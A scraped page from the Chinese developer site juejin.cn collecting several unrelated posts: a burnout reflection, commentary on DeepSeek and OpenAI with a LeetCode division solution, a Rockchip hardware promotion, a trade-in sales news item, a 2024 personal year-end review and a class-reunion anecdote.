👉 新的东西 ,总能让我感觉到我还很年轻 ,未来还有无限可能。



时不时的让自己彻底放松一次 :



不要去思考工作 ,不要去思考未来 ,就彻彻底底的为了去玩。


一开始是黑神话大火 ,那是真的下班准时走 ,技术是一天不带看的 ,就是为了玩, 连续玩了大半个月 ,通关后整个人都舒服了,谁也别想让我学。


然后后面又给自己奖励了一台小相机 ,那每周拖着家人出去拍照 ,学 ? 学个屁学,那不拿个摄影奖 ,学什么学。


👉 玩的不多 ,每年也就2-3次 ,但是真的能让人压力降低很多。


总结


2024 已经过去了 ,2025 也将到来 ,计划年初就已经定完了 , 又是充满期待的一年。


希望各位都能在生活中找到自己的节奏 ,不要有了工作失去生活。


祝大家新年快乐。


最后的最后 ❤️❤️❤️👇👇👇



作者:志字辈小蚂蚁
来源:juejin.cn/post/7463442625900281907
收起阅读 »

年终 :别自我内耗了 ,每年奖励自己一点新东西

前言 前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。 这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天。 关于自我内耗 当 写代码 和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件...
继续阅读 »

前言


前两天看到一个评论 ,答主说 : 代码写了几年 ,已经没有刚毕业时候的热情了,不想深入,没有欲望。


这其实是一个很普遍的现象 : 当一件事情成了工作 ,那必然有麻木的一天


关于自我内耗


写代码 和工作挂钩了 ,那他就会离生活越来越远。 我们去做这件事情的时候,就会自然的和 收入 ,未来 等要素进行强绑定。



  • 工作压力大了 ,兴趣度 - 1

  • 每加一次班 ,兴趣度 - 1

  • 每和产品打一架 , 兴趣度 -1

  • 不涨工资不升职 , 兴趣度 -1

  • 。。。。。


每一次工作上的不如意 ,都会让你对编码的兴趣降低!!


久而久之 ,你可能会想 : 你是不是不喜欢编码 ,你可能根本不喜欢写代码 , 你不想再为这个你不喜欢的兴趣花精力了。


而这篇文章的目的 ,就是为了给大家一个方向 : 如何维持自己的兴趣 ,找回初心


关于我的一年



发布的文章 - Java 部分 :



今年和往年大差不差 ,发布了 40+ 篇文章。其中 Java 只针对一些特定领域进行了加强 :


image.png


加上一些零零散散的 JVM 文章 ,总共应该15篇左右。 但是这些其实已经够了 ,到了5-10年这个年限 , 单纯编码技术上已经没有太大的空间了。


年轻的时候硬吃底层 ,是为了提高自己的代码水平。年限大了就会发现 ,底层代码其实都差不多 ,哪怕看过了流程 ,转头就忘 ,就算不忘 ,大多数地方一辈子也用不上。


📍 总结 : 所以我现在对自己的规划是针对于特定场景, 进行深度的思考 ,更偏向与架构层面



寻求突破 - 其他部分 :



其他的大部分精力 ,都没有局限当前的语言上面 , 一直在研究新的东西。


image.png


image.png


image.png


@ gitee.com/antblack/an…


重要的精力都放在了 Python 和 大数据 , AI 层面。 他们针对的目的性都是不同的。



  • ❤️ Python 的目的是为了开辟自己的副业

  • ❤️ 大数据是当前行业的升级 ,大数据能让我在当前领域尝试更多的创新模式

  • ❤️ AI 是未来 ,记住 , 人工智能是未来


这3个方向都没有把自己局限在编码层面了 ,而这3个模块都有可能让我在脱离工作后 ,也能拥有更多的出路, 不管是创业还是寻求更好的工作,他们都能有所帮助。


📍 总结 : 所以没必要把自己限制在一行行代码之间,CURD 已经在工作中写的够多了,去看看一些关联的领域。


给自己一点奖励吧


写代码 6-7 年了 , 我对编程还是一如初心, 其实只是对自己经常进行一些小奖励 , 这里我也许可以给苦恼的朋友们一些小方向 :



每年奖励自己一门新语言 :



这些年来 ,我陆陆续续尝试了 JavaScript , Android , Lua (这个不算大, 算是偷懒了) , 到今年用 Python 写了一个开源工具。


我每年都会让自己去了解一下其他的语言, 他们都不会学的太深 ,主要的定位是能用他们产生一个生产力的应用。


比如 JavaScript 主要用来写了一个小程序 (最后不好玩都没上架)。 Lua 是为了自己实现一个 Nginx 的工具。


Android 是为了实现一个简单的 App , Python 是为了能炒股。


👉 奇奇怪怪的想法和思路 ,以及实现后的一点点成就感 ,是维持兴趣的一大核心。



每年奖励一些新东西 :



年初 AIGC 大火的时候 ,就一直在尝试 AIGC 转换成生产力,最简单的实现就是帮我老婆实现了一个 SD 的文生图服务器 ,不过后面太贵了就下了(真老贵)。


然后又陆陆续续的尝试各种 AIGC 的直接使用 ,当你切实的做出一点什么后 ,成就感老多了。


AIGC : 真的要失业了 , 让 ControlNet 带来一点小震撼


然后这一年都在让 AI 帮我提高生产力 ,可以说非常成功。 比如我的 Python 项目 ,其中80% 的代码都是 AI 实现的, 这让我最后落地的压力大大减轻,成功率提高了很多。


👉 新的东西 ,总能让我感觉到我还很年轻 ,未来还有无限可能。



时不时的让自己彻底放松一次 :



不要去思考工作 ,不要去思考未来 ,就彻彻底底的为了去玩。


一开始是黑神话大火 ,那是真的下班准时走 ,技术是一天不带看的 ,就是为了玩, 连续玩了大半个月 ,通关后整个人都舒服了,谁也别想让我学。


然后后面又给自己奖励了一台小相机 ,那每周拖着家人出去拍照 ,学 ? 学个屁学,那不拿个摄影奖 ,学什么学。


👉 玩的不多 ,每年也就2-3次 ,但是真的能让人压力降低很多。


总结


2024 已经过去了 ,2025 也将到来 ,计划年初就已经定完了 , 又是充满期待的一年。


希望各位都能在生活中找到自己的节奏 ,不要有了工作失去生活。


祝大家新年快乐。


最后的最后 ❤️❤️❤️👇👇👇



作者:志字辈小蚂蚁
来源:juejin.cn/post/7463442625900281907
收起阅读 »

DeepSeek 出现的最大意义,是让老美意识到"闭源"死路一条

OpenAI 因为 DeepSeek 的崛起,导致 OpenAI 坐不住了。 虽然 OpenAI 的创始人兼 CEO 奥特曼曾在推特上大方表示:像 DeepSeek 这样的对手的出现,让他们感到兴奋,马上他们也会发布更好的模型。 于是在昨天凌晨,OpenAI ...
继续阅读 »

OpenAI


因为 DeepSeek 的崛起,导致 OpenAI 坐不住了。


虽然 OpenAI 的创始人兼 CEO 奥特曼曾在推特上大方表示:像 DeepSeek 这样的对手的出现,让他们感到兴奋,马上他们也会发布更好的模型。


于是在昨天凌晨,OpenAI 发布了全新推理模型 o3-mini:



甚至是免费提供 o3-mini 给用户使用,这也是 ChatGPT 首次向所有用户免费提供推理模型。


但又正如你现在也没有听说多少关于 o3-mini 的新闻那样,这个新模型的发布,更多只是 OpenAI 一方"自认为的大招",并未在 AI 圈掀起多少波澜 🤣🤣🤣


虽然 o3-min 不怎么样,但在 OpenAI 和奥特曼这段时间的丝滑小连招中,给外界传递了一个重磅信息:OpenAI 将重新考虑开源。


好家伙,这才是 DeepSeek 对世界的重大意义 👍👍


在最近一次的 Reddit(老美的贴吧)问答中,奥特曼表示:OpenAI 在开源问题上一直处于"历史错误的一边",需要制定不同的开源策略。


众所周知,OpenAI 中的 Open 一定程度就是指 "OpenSource 开源",旨在通过开源促进 AI 技术共享,早期他们也确实开源了部分 GPT 的版本(比如 2019 年开源了 GPT-2 的部分版本),但自从 ChatGPT 爆火之后,开源的工作他们就彻底不做了,也开始自主摘掉"非盈利性"的帽子,转而考虑融资和盈利问题。


这也是世界首富(同时也是 OpenAI 的早期投资人)马斯克一直吐槽的事儿:OpenAI 前期打着"推动世界 AI 发展"的口号,拿了不少捐赠和资源,等到小有成绩的时候,就开始盘算如何"藏着捏着"来大赚一笔。


如今 DeepSeek 的出现,已经打破了 OpenAI 领先业界的局面。


奥特曼现在公开表示重新考虑"开源问题",并不是良心发现,而是深切知道,差距在缩小,如果再坚持"闭源"将会死路一条。


相比于让大家免费使用上推理模型,能让 OpenAI 重新考虑开源,才是 DeepSeek 对这个世界而言的最大意义。


...


年初五接财神,祝大家 2025 财源广进。


继续安排一道简单算法题。


题目描述


平台:LeetCode


题号:553


给定一组正整数,相邻的整数之间将会进行浮点除法操作。


例如, [2,3,4] -> 2 / 3 / 4


但是,你可以在任意位置添加任意数目的括号,来改变算数的优先级。


你需要找出怎么添加括号,才能得到最大的结果,并且返回相应的字符串格式的表达式。


你的表达式不应该含有冗余的括号。


示例:


输入: [1000,100,10,2]

输出: "1000/(100/10/2)"

解释:
1000/(100/10/2) = 1000/((100/10)/2) = 200
但是,以下加粗的括号 "1000/((100/10)/2)" 是冗余的,
因为他们并不影响操作的优先级,所以你需要返回 "1000/(100/10/2)"

其他用例:
1000/(100/10)/2 = 50
1000/(100/(10/2)) = 50
1000/100/10/2 = 0.5
1000/100/(10/2) = 2

说明:



  • 输入数组的长度在 [1,10][1, 10] 之间。

  • 数组中每个元素的大小都在 [2,1000][2, 1000] 之间。

  • 每个测试用例只有一个最优除法解。


数学 + 贪心


我们假定取得最优解的表示为 ab\frac{a}{b},可以留意到任意的 nums[i]nums[i] 的范围为 [2,1000][2, 1000],因此我们应当让尽可能多的 nums[i]nums[i] 参与 aa(分子)的构建中。


因此一种可以构成最优表示的方式为「将除第一位以外的所有数作为一组,进行连除(转乘法),从而将所有可以变成分子的数都参与到 aa 的构建中」。


即有:


nums[0]nums[1]/nums[2]/.../nums[n1]=nums[0]nums[1]×1nums[2]×...×1nums[n1]=nums[0]×nums[2]×...×nums[n1]nums[1]\frac{nums[0]}{nums[1] / nums[2] / ... / nums[n - 1]} = \frac{nums[0]}{nums[1] \times \frac{1}{nums[2]} \times ... \times \frac{1}{nums[n - 1]}} = \frac{nums[0] \times nums[2] \times ... \times nums[n - 1]}{nums[1]}

综上,我们只需要从前往后进行构建出连除的答案,如果 numsnums 的长度大于 22,再追加一对大括号即可。


[a0,a1,...,an][a_0, a_1, ... , a_n] => a0/a1/.../ana_0/a_1/.../a_n => a0/(a1/.../an)a_0/(a_1/.../a_n)


Java 代码:


class Solution {
public String optimalDivision(int[] nums) {
int n = nums.length;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < n; i++) {
sb.append(nums[i]);
if (i + 1 < n) sb.append("/");
}
if (n > 2) {
sb.insert(sb.indexOf("/") + 1, "(");
sb.append(")");
}
return sb.toString();
}
}

C++ 代码:


class Solution {
public:
string optimalDivision(vector<int>& nums) {
int n = nums.size();
string ans;
for (int i = 0; i < n; i++) {
ans += to_string(nums[i]);
if (i + 1 < n) ans += "/";
}
if (n > 2) {
ans.insert(ans.find("/") + 1, "(");
ans += ")";
}
return ans;
}
};

Python 代码:


class Solution:
def optimalDivision(self, nums: List[int]) -> str:
n = len(nums)
ans = ''
for i in range(n):
ans += str(nums[i])
if i + 1 < n:
ans += '/'
if n > 2:
idx = ans.find('/') + 1
ans = ans[:idx] + '(' + ans[idx:]
ans += ')'
return ans

TypeScript 代码:


function optimalDivision(nums: number[]): string {
const n = nums.length;
let ans = '';
for (let i = 0; i < n; i++) {
ans += nums[i].toString();
if (i + 1 < n) ans += '/';
}
if (n > 2) {
const idx = ans.indexOf('/') + 1;
ans = ans.substring(0, idx) + '(' + ans.substring(idx);
ans += ')';
}
return ans;
};


  • 时间复杂度:O(n)O(n)

  • 空间复杂度:O(n×C)O(n \times C),其中 CCnums[i]nums[i] 的最大长度,对于本题 C=4C = 4


作者:宫水三叶的刷题日记
来源:juejin.cn/post/7466448971695800347
收起阅读 »

双微联动 ! 智微智能荣获瑞芯微“2024年度卓越贡献奖”

近日,智微智能获得了瑞芯微颁发的“2024年度卓越贡献奖”。这一奖项不仅是对我们过去一年在Rockchip方案开发及市场拓展的认可,更是对未来双方继续深化合作的期许。强强联合,推出多样化智能硬件智微智能与瑞芯微多年来一直保持着紧密的合作关系,共同致力于推动智能...
继续阅读 »

近日,智微智能获得了瑞芯微颁发的“2024年度卓越贡献奖”。这一奖项不仅是对我们过去一年在Rockchip方案开发及市场拓展的认可,更是对未来双方继续深化合作的期许。

强强联合,推出多样化智能硬件

智微智能与瑞芯微多年来一直保持着紧密的合作关系,共同致力于推动智能硬件的创新与发展。通过采用瑞芯微高性能、低功耗、高度自主化和多功能集成的芯片,智微智能成功打造了一系列适用于物联网、商业和工业领域的智能硬件产品。

应用领域广泛,助力各行各业智能化升级

智微瑞芯微Rockchip全系列智能硬件,凭借其卓越的性能和广泛的应用领域,正在助力各行各业实现智能化升级。

1.智慧工业

智微工业通用产品线基于RK3576/RK3576J/RK3568/RK3568J/RK3588/RK3588J芯片,涵盖了SMARC SoM、主板、BOX PC、工业一体机、AI BOX等产品形态,并凭借其低功耗、高精度、高可靠的性能以及强劲的AI计算能力,为各类应用场景提供最适用的方案。智微工业针对工业自动化场景下的机器视觉应用、电力、新能源、智慧交通(信号灯控制)、智慧医疗、智慧物流、ARM/服务机器人以及无人机控制等应用的需求,开发了一系列专用产品线,如PAS系列机器视觉整机、电力网关、储能EMS、信号灯控制系统、IVD核心板、机器人主板、无人机飞控主板等,为细分领域的智能化升级和AI应用提供了强大的硬件支撑。

2.智慧教育与办公

作为OPS标准的推动者和引领者,智微OPS产品被广泛应用于智慧教室,基于RK3388/RK3399的OPS模块,为师生提供稳定、高效且流畅的图像处理和演示体验,并支持AI交互,让日常教学更加现代化、趣味化和个性化。

在办公领域,云终端系列采用了RK3566和RK3568芯片,兼顾强劲的性能、体积小巧和易于携带的优势,无论在哪个角落,都能帮助用户实现远程办公和移动办公的无缝切换。

另外,基于RK3588的NAS存储产品以其节能省电、小盘位存储和拓展能力,越来越受个人办公和家庭存储的青睐。

3.智慧商业

在商业领域,POS机主板和商显主板则广泛应用于自助终端、收银系统和商业显示等多个领域,为商家和消费者提供了更加智能、便捷的服务体验 。

其中,商显主板支持多屏高清显示,除了为商户提供智能化、个性化的广告显示,帮助其精准触达每一个商机,也让消费者获得较好的互动体验和视觉享受。

4.AI边缘

智微AI边缘终端采用了RK3588/RK3568芯片,能够显著提升数据处理的效率和智能化水平,强大的计算能力成为了边缘计算设备的理想选择。E系列边缘终端能够在边缘侧实现实时数据处理和智能决策。产品配合定制的软件,能够为不同的行业需求提供量身定制的解决方案,可用于安防、交通、能源和新零售等多个应用中。

智微智能瑞芯微产品线现已全面接入DeepSeek,双微也将共同迎接端侧AI的大规模应用爆发。我们将继续深耕物联网和工业自动化的细分领域,不断推出更符合应用需求的产品,用科技革命为行业的智能化升级全面赋能!

收起阅读 »

春节期间以旧换新销售额超310亿 数码产品成热卖新年货

证券时报记者 秦燕玲  2月10日,国家发展改革委发布消息称,今年春节期间(2025年1月28日~2月4日),汽车、家电家居、手机等产品以旧换新销售量达到860万台(套)、销售额超过310亿元,其中,家电、手机销售收入同比大幅增长约166%、182%,手机等数...
继续阅读 »

证券时报记者 秦燕玲

  2月10日,国家发展改革委发布消息称,今年春节期间(2025年1月28日~2月4日),汽车、家电家居、手机等产品以旧换新销售量达到860万台(套)、销售额超过310亿元,其中,家电、手机销售收入同比大幅增长约166%、182%,手机等数码产品成为春节“新年货”,消费市场活力有效提升。

  1月8日,国家发展改革委、财政部印发加力扩围实施“两新”(大规模设备更新和消费品以旧换新)政策的通知,对2025年“两新”工作进行整体部署。此后商务部等部门陆续出台具体政策实施细则,推动落实汽车、家电、手机、家装消费品等领域更新换新,春节假期前,全国31个省、自治区、直辖市即全面启动消费品以旧换新,实现政策衔接和资金接续。

  国家发展改革委指出,在“两新”加力扩围的带动下,消费者参与更新换新热情高涨,重点领域消费品销售显著增长。初步梳理,春节期间全国汽车、家电家居、手机等数码产品以旧换新销售量达到860万台(套),销售额分别约66亿元、105亿元、141亿元;北京、江苏、浙江、河南、湖北、广东等地区以旧换新销售额均超过15亿元,位居全国前列。

  国家税务总局数据显示,春节期间全国家电、手机销售收入同比增长166%、182%,其中电视机销售收入同比增长227%。主要电商平台春节期间消费品以旧换新搜索量超过4000万次,订单量同比增长40%以上。

  将手机、平板、智能手表(手环)纳入补贴范围是今年“两新”政策加力扩围的重要看点,个人消费者购买售价不超过6000元的产品,每个品类最高可获得500元的购新补贴。记者日前从商务部获悉,1月20日0时~2月8日24时,已有2009.2万名消费者申请了2541.4万件手机等数码产品购新补贴。

  消费者申领补贴“辞旧机、迎新机”的热情在终端消费数据上也有进一步体现。国家发展改革委表示,初步梳理,春节期间全国手机等数码产品销售量突破450万台,销售额占消费品以旧换新总销售额的45%。更具体来看,2000元以下、2000~4000元、4000~6000元价位手机销售量与上年春节假期相比分别增长10%、52%、108%。

  在数码产品购新补贴的实施方案中,商务部等部门强调要加强资金管理,确保手机等数码产品购新补贴政策平稳、顺畅实施。

收起阅读 »

俊劫的2024年终总结:当爹、卖主机、差点失业

一、布丁的出生 2024-9-19,我儿子布丁顺顺利利来到这个世界。 1.1 出生那一刻 一开始觉得没什么,但是当微信收到老婆发的信息,那一瞬间感动的热泪盈眶😭。生完还需要在产房观察2小时,我在外面等的这段时间,描述不清楚是什么感受。当时找了个角落,给自己录...
继续阅读 »


一、布丁的出生


2024-9-19,我儿子布丁顺顺利利来到这个世界。


image.png


1.1 出生那一刻


一开始觉得没什么,但是当微信收到老婆发的信息,那一瞬间感动的热泪盈眶😭。生完还需要在产房观察2小时,我在外面等的这段时间,描述不清楚是什么感受。当时找了个角落,给自己录了几段视频,想说的话,巴巴拉拉啥都说说,不过现在也没看过😂


1.2 费用


全部费用没算过,就生娃住院那4天,自费部分差不多6500左右,包含1350的护工费(450*3),包含48天后产妇体检的费用。


因为是一胎,咱也没啥经验,害怕很多意外的出现,所以就选了杭州产科最强的医院:市一。 因为医院比较老,附近停车贼困难,而且还很贵,10块一小时。SUV停了几次机械车位,差点把后视镜干掉了。


实际生产还是挺顺利的,宝宝在妈妈肚子里多待了5天,出生之后做的各项目检查都正常。现在看,选着最近的医院才是比较好的选择。


1.3 为什么要生


和一部分人一样,家长催生占一部分,但不是决定性的。去年结婚,对我们而言就是生娃的信号。35岁以上会被定义为大龄产妇,大龄产妇又会面临着各种危险。同条件下,越年轻,生完恢复的也越好。


再加上我姐姐也还没生,我这个家庭相对来说缺一个娃来让整个大家庭更有目标感。所以现在布丁出生后,会有超级多的人来爱他,特别是妈妈和姑姑


偶然在xhs看到一句话:养娃能看到过去自己长大的过程,会把自己认为父母亏欠的部分加倍补偿给自己的孩子,或许是在治愈自己,也或许是在满足自己


1.4 养娃


太多攻略要做了,这里要非常感谢一位朋友的帮助,比我先生宝宝,然后经验都分享给我了,经常问他各种问题😭帮了巨多忙。


养娃不仅仅要研究育儿知识,每个月伺候宝宝的方法还是不同的,宝宝的变化非常非常快。针对宝宝的不同反应,要做出不同的应对。因为媳妇快要上班了,这些东西不能仅仅是我们自己会,还得教他奶奶。但是他奶奶也五十几了,很多东西学不会,记不住,就很困难,也没啥办法。


然后中间还要调解婆媳关系,我日常还要上班,中间有段时间,中午不吃饭,时间全部用来睡觉。。。


现在处于教学痛苦期,观察好宝宝的反应,其实很好哄。但是他奶奶学不会,导致现在给奶奶带,就往死里哭😭。但是我们又不得不依赖他奶奶,不然上班就没人管了。
但是,有时候他奶奶不觉得是自己的问题,就觉得是宝宝的问题,就是要闹人,也不知道找原因,所以我现在是非常痛苦的。有时候只能安慰媳妇,没办法,让宝宝自己适应。。。


1.5 拍拍拍


3个多月了,回头看过去的样子,感觉自己还拍少了😂


image.png


1.6 男宝女宝


就身边的现象来说



  • 高中同学

    • 目前已知3个女宝



  • 微信网友

    • 同一天出生的,1个女宝

    • 去年兔年生的,1个女宝



  • 村里

    • 目前已知3个女宝



  • 公司同事

    • 1男宝1女宝

    • 媳妇同事生1女宝



  • 同产房

    • 1男宝3女宝





15个宝宝,只有2个男宝,13个女宝。 生男生女,概率不是差不多吗?
我倒是无所谓,生男生女,各有各的好处。你们身边男宝多还是女宝多?



IMG_9728.JPG


二、工作


去年武汉被裁后,就来杭州这家了,当时还有点小插曲。因为武汉一家公司在我入职这家后又给了offer,我很纠结要不要去,当时处于这也想要,那也想要的状态,精神差点崩溃。


2.1 极越(集度)


关注新能源的应该都知道这个事吧,12月直接宣布原地解散了。去年在武汉可是大规模招聘,开的也算武汉Top几了。当时面了4轮,战线拉一个月,后面HC收紧被待定,然后一个月以后又联系给offer,蜜汁操作。要是早给,我肯定就去了。。。


去了的话,现在又是找工作的时间。我媳妇就认为是她的功劳,不是她在杭州,不是她对房子没有那么大执念了,我肯定又回武汉了。当初想去集度,就想赌一把百度智驾。我想着百度都干那么久了,对其他车企不得是降维打击,结果啊,百度还是那个百度。



间接躲过一劫,差点失业



image.png


2.2 晋升


虽然结果没出,但是我觉得是个伤心事


2.3 面试


帮忙面试


最近帮着公司招外包,收到一些十年以上经验的简历,很尴尬。简历潦草的,让人感觉他们自己也没抱什么希望,上次招聘给了几个大龄的面试机会,结果一个不如一个。第一次9月份,第二次就是最近。9月份也面了挺多的,过了几个,但是当时卡的严,最后一面基本都被毙了,卡着卡着,HC就变成了0


还有个现象就是异地简历贼多,很多都不是在本地工作的,可见大家都在海投,市场情况就是这样


今年又出1个外包HC,我有时候面1面,有时候面2面,给过了几个,不知道能不能来入职。


前端分类


简单分为,1-3年,3-8年,8年+,外包,自研


3年内的多是自研,简历写的都挺不错,但是一问就不会,一问就是别人做的


5年左右,最近一份干外包的居多,技术也还不错


8年+的,很大一部分就简历拉跨,技术也拉跨,各方面都不太行,当然厉害的也不会来投递外包了哈



今年面试感觉到的情况,并不具有代表性,各位简单看看



简单分析


结合我自己现在的状况,我也明白为什么,就是技术停滞,就是学习能力在逐步下降,不得不服。或许因为懒惰,或许因为家庭事情越来越多。。今年我没怎么学习过,就写了1篇掘金文章,很是惭愧。有更多的时间,不是在打游戏,就是在刷视频,看直播。我尝试着在改变,但是有点难。。。


自己也越来越老,通过面试官的身份反省自己,得好好学习,不仅仅是技术方面。


2025年,我还是需要在这块寻找突破口,不能再停滞不前了,不然迟早要被淘汰。


三、旅游


因为有了车,计划了挺多地方的自驾游,但是因为媳妇怀孕,所以就只能轻度转转,尽量避开人多的地方


3.1 南京


视频带奶奶看了下玄武湖,还不如杭州湘湖,哈哈哈
image.png


3.2 千篇一律


之前想着把国内这些一二线城市都逛逛,感受感受。但是吧,现在感觉都是千篇一律的商业街,风景区,真没啥意思。每次做攻略都做的好好的,去了以后就感觉和理想的落差太大,然后从这次南京后,就不太想玩这种很常规的旅游了。


看xhs说,这是要加入下一个level的迹象了,明年等小布丁1岁后,他奶奶能带的时候。计划计划去港澳台逛逛,然后日本韩国这些,怎么都得去看看吧。。。


四、主机


4.1 入手


6月初,终于入手了人生第一台主机,是的,没错。毕业5年了,第一次拥有自己的主机,之前都用MacBook 虚拟机打游戏,LOL fps,30~60😂


4.2 配置


2024-5-29价格:



  • 板U: 微星B760 爆破弹 Wifi D5 + 12600kf 1694

  • 显卡:微星RTX4060 VENTUS2 X WHITE8GOC白色 2180

  • 电源:微星MAG A600DN额定600W 234

  • 机箱:微星PAG PANO M100L 白色 188

  • 散热:微星MAG 寒冰E240白色水冷 369

  • 内存:威刚D300 16G 6400MHZ 387

  • 硬盘:威刚S50 PRO NVME 1TB 465


合计:5517

pdd微星官方旗舰店整机4999,用卷到手4863


4.3 为什么卖


主要3个原因



  • window和mac两种系统切换着用,还是不太舒服,更喜欢mac

  • 空闲时间就爱玩LOL,玩几把就要红温

  • 有两次下班没带娃玩LOL,媳妇生气了


想了想以后,主机对我也没太大吸引力了,就挂xhs了,就挂了一天,第二天晚上卖了。4863买的,用了半年,卖了4050。


黑神话开挂通关的、使命召唤系列玩了3部,总体也算是过瘾了。


卖完只有一个感慨:老了,花有重开日,人无再少年


IMG_6437.JPG


4.4 JJ卖主机的奇幻经历


AB两个买家,A爽快最终成交,B一直砍价最后破防


A需送上门 B上门自提,时间线如下:



  • B凌晨3点就给我发了个消息,要购买记录,我早上回复了下,人家看我买半年了,砍价说3800,我说不出

  • A看到后直接问3900送上门行不行,我犹豫了,来回70km+可能现场验收有问题,就拒绝了。拿着3900,我问早上的B要不要,要的话就给B了。结果B还在还价,问3850行不行,我拒绝了。

  • A看我犹豫,直接说不还价了3999送上门,他急着用。我就准备和他交易了,这个时候B又来了,问我怎么样,我说A直接3999了,B这个时候急了,说他也可以3999,现在就可以上门

  • 同价格我肯定选择B上门自提的,但是这个时候A已经拍下了咸鱼链接,我和A说了这个事,他又给我加了50,意思给路费。 我和B说,他那边已经拍了,B就生气了,长篇大论说我人不行。。。


所以最后的结果:我怕B是个事逼,而且A已经拍了,所以还是选择送货上门和A交易,A比较痛快,貌似是个主播,上门简单验机后直接打钱,省了咸鱼0.6%的手续费



这俩人都是玩无畏契约的,玩过几把,这游戏现在这么火?🔥



4.5 老了


回来路上,一个人在高架上飙了一把,只能感慨:花有重开日,人无再少年


image.png


五、11月软考


5.1 系统规划与管理师


过去没有了解过杭州政策,最近朋友说了考这个东西的好处,可以认证E类人才。买房只需要30%,不买房每个月也有2500补贴,政策很香。所以准备来试试,但是因为很久没看过书了,+懒+生娃各方面的因素,几乎没看,考试前还一直在想要不要去考。后面一想,钱都交了,不得去试试,看看裸考能考多少。


结果就是:


image.png


还有俩朋友一起考的也没过,很多认真学的,一部分卡在了论文上。毕竟这个东西和利益相关,所以会卡通过率。


5.2 信息系统项目管理师


2025-5月来战斗,有一起考的没!!!


六、其他


零零碎碎的其他事,不想花费太多精力去写这个,年级大了,很多东西都要和利益挂钩。没得利益,就不太愿意付出了。


6.1 兼职



  • 赚了几个w,非理财

  • 辛苦钱且不稳定

  • 得寻找比较稳定的睡后收入


今年国庆节那波股市,太猛了。本来准备拿10个入场的,媳妇都同意了,还是胆小没敢上。。。差点套进去


6.2 领证


感觉要给孩子出生做准备了,之前了解的准生证、建档什么的都得结婚证,反正去年也结婚了,赶紧找时间领了,方便后面办户口。



实际上现在很多都放开了,并不需要结婚证,领了证反而变成已婚了,租房个税都只能填一个人的了。领了证,现在这行情,浙江刚落地的13天婚假也不敢休,有些地方领结婚证还给钱。


所以,领证没得啥好处,建议大家能不领还是不要领



image.png


6.3 减肥



  • 减了30斤,不过现在还是很胖

  • 目前体重稳定了一个月,继续开始减


6.4 房子



  • 和媳妇两个人都不再有买房的执念

  • 租了个两室一厅,4200,住的挺舒服的

  • 没有房贷、没有车贷、没有任何带款

  • 养着小布丁,满足了


image.png
image.png
image.png


6.5 计划


2025年,全面拥抱AI,用一句话说:所有行业都值得被AI重构


image.png


最后再放一波儿子


image.png
image.png
image.png


作者:俊劫
来源:juejin.cn/post/7456898384331522099
收起阅读 »

同学聚会,是我不配?

前言 初八就回城搬砖了,有位老哥跟我吐槽了他过年期间参与同学会的事,整理如下,看读者们是否也有相似的境遇。 缘起 高中毕业至今已有十五年了,虽然有班级群但鲜有人发言,一有人冒泡就会立马潜水围观。年前有位同学发了条消息:高中毕业15年了,趁过年时间,咱们大伙...
继续阅读 »

前言


初八就回城搬砖了,有位老哥跟我吐槽了他过年期间参与同学会的事,整理如下,看读者们是否也有相似的境遇。



image.png


缘起


高中毕业至今已有十五年了,虽然有班级群但鲜有人发言,一有人冒泡就会立马潜水围观。年前有位同学发了条消息:高中毕业15年了,趁过年时间,咱们大伙聚一聚?


我还是一如既往地只围观不发言,组织的同学看大家都三缄其口,随后发了一个红包并刷了几个表情。果然还是万恶的金钱有新引力,领了红包的同学也刷了不少谢谢老板的表情,于是乎大家都逐渐放开了,最终发起了接龙。


看到已接龙的几位同学在高中时还是和自己打过一些交道,再加上时间选的是大年初五,我刚好有空闲的时间,总归还是想怀旧,于是也接了龙。


牢笼


我们相约在县城的烧烤一条街某店会面,那离我们高中母校不远,以前偶尔经过但苦于囊中羞涩没有大快朵颐过。


到了烧烤店时发现人声鼎沸,猜拳、大笑声此起彼伏,我循着服务员的指示进入了包间。放眼望去已有四、五位同学在座位上,奇怪的是此时包间却是很安静,大家都在低头把玩着手机。


当我推门的那一刻,同学们都抬头放眼望来,迅速进行了一下眼神交流,微笑地打了招呼就落座。与左右座的同学寒暄了几句,进行一些不痛不痒的你问我答,而后就沉默,气氛落针可闻,那时我是多希望有服务员进来问:帅哥,要点单了吗?


还好最后一位同学也急匆匆赶到了,后续交流基本上明白了在场同学的工作性质。

张同学:组织者,在A小镇上开了超市、圆通、中通提货点,座驾卡迪拉克

李同学:一线城市小创业者,公司不到10人,座驾特斯拉

吴同学:县城第一中学老师、班主任,座驾大众

毛同学:县委办某科室职员、公务员,座驾比亚迪

王同学:某小镇纪委书记,座驾别克

潘同学:县住房和城乡建设局职员,事业编,座驾哈佛

我:二线城市码农一枚,座驾雅迪


一开始大家都在忆往昔,诉说过去的一些快乐的事、糗事、甚至秘辛,感觉自己的青葱时光就在眼前重现。
酒过三巡,气氛逐渐热烈,称呼也开始越拔越高,某书记、某局、某老板,主任、某老总的商业互吹。

期间大家的话题逐渐往县城的实事、新闻、八卦上靠,某某人被双了,某某同事动用了某层的关系调到了市里,某漂亮的女强人离婚了。


不巧的是张同学还需要拜会另一位老板,提前离席,李同学公司有事需要处理,离开一会。

只剩我和其他四位体制内的同学,他们在聊体制内的事,我不熟悉插不进话题,我聊公司的话题估计他们不懂、也不感兴趣。

更绝的是,毛同学接到了一个电话,而后提着酒杯拉着其他同学一起去隔壁的包间敬酒去了,只剩我一个人在包间里。

过了几分钟他们都提着空酒杯回来了,悄悄询问了吴同学才知道隔壁是县委办公室主任。

回来后,他们继续畅聊着县城的大小事。


烧烤结束之后,有同学提议去唱K,虽然我晚上没安排,但想到已经没多少可聊的就婉拒了。


释怀


沿着县城的母亲河散步,看着岸边新年的装饰,我陷入了沉思。

十多年前大家在同一间教室求学,甚至同一宿舍生活,十多年后大家的选择的生活方式千差万别,各自的境遇也大不相同。

再次相遇,共同的话题也只是学生时代,可是学生时代的事是陈旧的、不变的,而当下的事才是新鲜的、变化的。因此聚会里更多的是聊现在的事,如果不在一个圈子里,是聊不到一块的。


其实小城里,公务员是一个很好的选择,一是稳定,二是有面子(可能本身没多大权利,但是可以交易,可以传递)。小城里今天发生的事,明天就可能人尽皆知了,没有秘密可言。

有志于公务员岗位的朋友提早做准备,别等过了年纪就和体制内绝缘了。


其他人始终是过客,关注自己,取悦自己。



image.png


作者:小鱼人爱编程
来源:juejin.cn/post/7468614661326159881
收起阅读 »

